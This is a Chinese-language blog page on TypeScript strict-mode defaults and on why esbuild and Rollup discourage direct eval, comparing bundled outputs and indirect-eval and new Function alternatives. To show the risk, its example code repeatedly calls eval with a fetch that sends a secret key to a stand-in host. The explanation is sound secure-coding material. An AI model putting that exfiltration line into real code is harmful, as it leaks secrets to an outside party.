Skip to content

每日一报

Something about TypeScript

Strict Mode in TypeScript

建议开启 ts 严格模式,将严格模式作为明智的默认选项。

Playground

ts
// Yes, we know, the defaults for TypeScript's tsconfig do
// not have strict turned on. However, at every chance we
// can the team recommends that users try migrate towards
// having strict mode enabled in their configs.

// For the playground however, we can happily set the defaults
// to be strict. The playground will also keep track of the
// compiler flags which have changed from the playground's
// defaults and make them sharable in the URL.

// You can read more about the URLs in
// example:sharable-urls

// Wonder what the new defaults are?

declare const trueInTS: boolean;
declare const trueInJS: boolean;
declare const monaco: any;

const defaultCompilerOptions = {
  noImplicitAny: true,
  strictNullChecks: trueInTS,
  strictFunctionTypes: true,
  strictPropertyInitialization: true,
  strictBindCallApply: true,
  noImplicitThis: true,
  noImplicitReturns: true,

  alwaysStrict: true,
  allowUnreachableCode: false,
  allowUnusedLabels: false,

  downlevelIteration: false,
  noEmitHelpers: false,
  noLib: false,
  noStrictGenericChecks: false,
  noUnusedLocals: false,
  noUnusedParameters: false,

  esModuleInterop: true,
  preserveConstEnums: false,
  removeComments: false,
  skipLibCheck: false,

  checkJs: trueInJS,
  allowJs: trueInJS,

  experimentalDecorators: false,
  emitDecoratorMetadata: false,

  target: monaco.languages.typescript.ScriptTarget.ES2017,
  jsx: monaco.languages.typescript.JsxEmit.None
};

deno 对于 ts 的内置类型检测 默认启用严格模式

TSC

除了 `

避免在打包时直接使用 eval

前提要知

当前上下文中:

  • 直接 eval:形如 eval(x) 的调用,会访问当前上下文中的变量。
  • 间接 eval:是任何不直接以 eval('x') 形式调用的 eval。如 (0, eval)('x')window.eval('x')[eval][0]('x')。这种方式会在 全局作用域 而非调用位置的词法作用域中执行代码

基础用例

以下述代码为例,采用 直接 eval 的方式来分析具体存在的问题。

js
import { info } from './info.js';

console.log(info);

eval(`fetch('https://eval/expose?secretKey=secretKey')`);
js
import { secretKey } from './private.js';

export const info = await fetch(`/getInfo?secretKey=${secretKey}`);
js
export const secretKey = '12345678';

Esbuild 处理 Eval 的方式

0.14.8 版本之前,按照上述的 代码用例,通过 esbuild 打包后的产物如下:

Playground

js
// private.js
var secretKey = '12345678';

// info.js
var info = await fetch(`/getInfo?secretKey=${secretKey}`);

// main.js
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);

注意到 esbuild 并不会对 直接 eval 代码做额外的处理,存在 潜在的越界访问 的问题,即私有模块的私有变量(secretKey)被暴露了出去。

不过有意思的是尝试使用下一版本(0.14.9),同样打包上述 代码用例后,打包产物如下:

Playground

js
var __getOwnPropNames = Object.getOwnPropertyNames;
var __esm = (fn, res) => function __init() {
  return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res;
};
var __commonJS = (cb, mod) => function __require() {
  return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
};

// private.js
var secretKey;
var init_private = __esm({
  "private.js"() {
    secretKey = "12345678";
  }
});

// info.js
var info;
var init_info = __esm({
  async "info.js"() {
    init_private();
    info = await fetch(`/getInfo?secretKey=${secretKey}`);
  }
});

// main.js
var require_main = __commonJS({
  "main.js"(exports, module) {
    await init_info();
    console.log(info);
    eval(`fetch('https://eval/expose?secretKey=secretKey')`);
  }
});
export default require_main();

esbuildeval 做了额外处理,似乎对 esm 打包的策略做了降级处理,即会使用 commonjs 的打包策略,使用函数作用域来包裹各个作用域,使模块间相互独立。

事实是如此吗?

查看 esbuild 对于 0.14.9发布日志,不幸的是并没有发现关于 eval 的任何处理。

通过查看 0.14.8 ~ 0.14.9commit 记录,可以发现有一个有趣的提交:make esm detection more consistent

改动前

go
// Pessimistically assume that if this looks like a CommonJS module
// (no "import" or "export" keywords), a direct call to "eval" means
// that code could potentially access "module" or "exports".

改动后

go
// Pessimistically assume that if this looks like a CommonJS module
// (e.g. no "export" keywords), a direct call to "eval" means that
// code could potentially access "module" or "exports".

观察到,改动后 esbuild 延伸了对于 commonjs 模块的判断。

esbuild 会认为若模块中使用了 eval 但没有使用 export 关键字,那么这个模块会被认为是 commonjs 模块(先前的决策条件是若模块中存在 import 关键字,则认定为 esm 模块),从而采用 commonjs 的打包策略,使用函数作用域来包裹各个作用域,使其相互独立。

这种场景下,若想引导 esbuild 将当前模块当作是 esm 模块,则需要在使用 eval 模块中添加 export 关键字。

js
import { info } from './info.js';

console.log(info);

eval(`fetch('https://eval/expose?secretKey=secretKey')`);

export {}

重新打包后,产物如下:

Playground

js
// private.js
var secretKey = '12345678';

// info.js
var info = await fetch(`/getInfo?secretKey=${secretKey}`);

// main.js
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);

一切都没有发生变化,esbuild 并没有对 eval 做特殊处理,eval 仍然 存在访问私有变量 的问题。

Rollup 处理 Eval 的方式

打包产物如下:

Playground

js
const secretKey = '12345678';

const info = await fetch(`/getInfo?secretKey=${secretKey}`);

console.log(info);

eval(`fetch('https://eval/expose?secretKey=secretKey')`);

rollupesbuild 的行为是一样的,均没有对 eval 做特殊处理,eval 均存在 越界访问私有变量 的问题。

在打包时避免直接使用 eval

rollupesbuild 均提倡 避免直接使用 eval,并给出了如下原因:

作用域提升冲突

ESM Bundlers 会包含一种称为 作用域提升 的优化,会 将所有打包模块合并为单个文件并通过重命名变量来避免同一作用域中的命名冲突问题。这种 扁平化 各个模块的性质意味着通过 直接 eval 解析的代码 可以读取和写入包中任何文件的变量,这会存在 安全性正确性 的问题:

  • 正确性eval 要执行的语句可能想要 访问全局变量,但由于 作用域提升 的原因 意外访问 来自另一个模块中 具有相同名称的私有变量,与用户意图不符。
  • 安全性: 上述补充,若访问另一个模块中的 私有变量 包含了 敏感数据,则可能会导致 敏感数据泄露

导入变量问题

当被解析的代码引用使用 import 语句导入的 变量 时,可能无法正常工作。导入的变量是依赖模块中导出变量的引用绑定,而非这些变量的副本。因此,当 ESM Bundlers 打包代码时,导入的变量会被替换为对依赖模块中导出变量的直接引用。同时 ESM Bundlers 需确保各个模块中不存在 命名冲突 问题,会对各模块中同名的变量进行重命名,这可能导致原先导入的变量名称因 重命名 而发生变化。ESM Bundlers 并不会对 eval 中的执行语句进行词法分析、语法分析、语义分析。

换句话说,若 eval 依赖的 引用名称 与上下文中不一致时(由于与其他模块中声明的变量名冲突而重命名),那么会导致 eval 中的引用名称因检索不到原先依赖的引用名称而发生 异常错误

优化限制

使用 直接 eval 会迫使 ESM Bundlers 对包含 直接 eval 调用的所有作用域中的所有代码进行去优化。原因是出于正确性考虑,因为 直接 eval 潜在能访问其调用处的作用域以及上层作用域链中的变量引用,那么这些代码都不能被视为 死代码 而被消除,同时也不会被 压缩

命名冲突问题

由于被 直接 eval 解析的代码可能会通过名称引用任何可达变量,ESM Bundlers 无法重命名被解析代码的所有可达变量。这意味着 ESM Bundlers 无法重命名变量来避免与包中其他变量的名称冲突。因此,直接 eval 导致 ESM Bundlers 将模块包裹在 commonjs 的闭包中,通过引入新的作用域来避免名称冲突。然而,这会使最终生成的代码更大、更慢,因为模块中所导出的变量需要依赖运行时来进行确定的,而非在编译阶段就可以确定的,因此 ESM Bundlers 无法做大量的静态分析优化(i.e. tree-shaking)。

替代方案

解决方案底层逻辑是为了让 eval 不影响当前的模块作用域,仅影响全局作用域,那么 ESM Bundlers 在打包时,就不需要考虑 eval 对于模块作用域的任何影响(上述提到的)。

间接 eval

间接 eval 是任何不直接以 eval('x') 形式调用的 eval,如 (0, eval)('x')window.eval('x')[eval][0]('x')。会在 全局作用域 而非调用位置的词法作用域中执行代码。

html
<!doctype html>
<html lang="en">
  <body>
    <script>
      window.localVar = 'global local';
    </script>
    <script type="module">
      const localVar = 'module local';
      function directEvalTest() {
        const localVar = 'local';
        return eval('localVar');
      }
      function indirectEvalTest() {
        const localVar = 'local';
        return (0, eval)('localVar');
      }
      // local
      console.log(directEvalTest());
      // global local
      console.log(indirectEvalTest());
    </script>
  </body>
</html>

借助 eval间接调用,会使 eval 脱离当前的模块作用域,从而在 全局作用域 执行,那么 ESM Bundlers 在打包时,就不需要考虑 eval 对于模块作用域的任何影响。

esbuild 使用间接 eval 的策略

Playground

js
var eval2 = eval;
const foo = 43;
const value = 43;
const hook = () => {
  var foo = 42;
  eval2('console.log("with eval2:",foo)');
}
hook(value);

export {};
js
// main.js
var eval2 = eval;
var value = 43;
var hook = () => {
  var foo = 42;
  eval2('console.log("with eval2:",foo)');
};
hook(value);

rollup 使用间接 eval 的策略

Playground

js
var eval2 = eval;
const foo = 43;
const value = 43;
const hook = () => {
  var foo = 42;
  eval2('console.log("with eval2:",foo)');
}
hook(value);

export {};
js
var eval2 = eval;
const hook = () => {
  eval2('console.log("with eval2:",foo)');
};
hook();

观察到,esbuildrollup 均会将 eval 视作 副作用语句,在 tree-shaking 时,会保留 eval 语句。

不过这里 rollup 采用更为激进的做法,认为 eval 的副作用不会对模块作用域中的任何变量引用产生影响;而 esbuild 则采取较为保守的策略,eval 的副作用会将所处的作用域感染为也具备 副作用

小结

间接 eval 总是会在全局作用域中执行,因此:

  • 无法访问局部变量:只能访问 全局作用域 中的变量,无法 读取修改 打包文件中的 任何局部变量
  • 不影响变量重命名ESM Bundlers 可以自由 重命名局部变量 而不影响 间接 eval 的行为。
  • 允许优化:由于没有潜在的 词法作用域 依赖,tree-shakingminification 可以正常进行。

ESM Bundlers 视角看:

  • 直接 eval:必须 保留 所有可能被 访问的变量名,禁用 重命名 优化,无法进行 树摇动
  • 间接 eval:无需特殊处理,可以放心 重命名变量tree-shaking合并模块作用域minification

间接 eval 本质上解决了问题,因为他被语言规范限制在 全局作用域 中执行,无法 穿透 进入 局部作用域,从而与打包后的代码模块体系 完全隔离

使用 new Function

new Function在全局作用域而非定义作用域 中执行代码。

测试如下代码

js
function outerFunc() {
  const localVar = 'local var';
  const value = 'local val';
  const fnResult = new Function('return localVar')(value);
  return fnResult;
}
window.localVar = 'global var';
console.log(outerFunc());

esbuild 打包产物如下

Playground

js
// main.js
function outerFunc() {
  const localVar = 'local var';
  const value = 'local val';
  const fnResult = new Function('return localVar')(value);
  return fnResult;
}
window.localVar = 'global var';
console.log(outerFunc());

rollup 打包产物如下

Playground

js
function outerFunc() {
  const value = 'local val';
  const fnResult = new Function('return localVar')(value);
  return fnResult;
}
window.localVar = 'global var';
console.log(outerFunc());

可以看出 rollupesbuild 在处理 new Functioneval 类似,均会将 new Function 视作 副作用语句,在 tree-shaking 时,会保留 new Function 语句。但这里有些不一样的是通过 new Function 调用的参数会被视为也 具备副作用

补充知识

为什么 javascript vm 没有预处理 eval 语句?

有人可能会觉得上述存在的问题归因于 javascript vm 没有预处理 eval 语句,解析语句后就可以明确了解哪些变量被访问了,从而可以进行优化。

主要原因 是在于 eval动态性eval 的执行结果 依赖于运行时,而 非编译时,因此 javascript vm 无法在编译时进行优化处理,而是将解析步骤推迟到运行时。这也是 eval 性能较差的主要原因之一,强制引擎在运行时进行额外的解析和编译工作

evalnew Function 的性能差异

eval 的性能较差,主要原因在于每次调用 eval 时,都需要 重新解析和编译 代码,而 new Function 则只需 解析和编译 一次;在变量检索时,直接调用 eval遍历完整作用域链,包括局部变量。而 new Function / 间接 eval仅在全局作用域中查找,作用域链更短。

Contributors

Changelog

Discuss

Released under the CC BY-SA 4.0 License. (2619af4)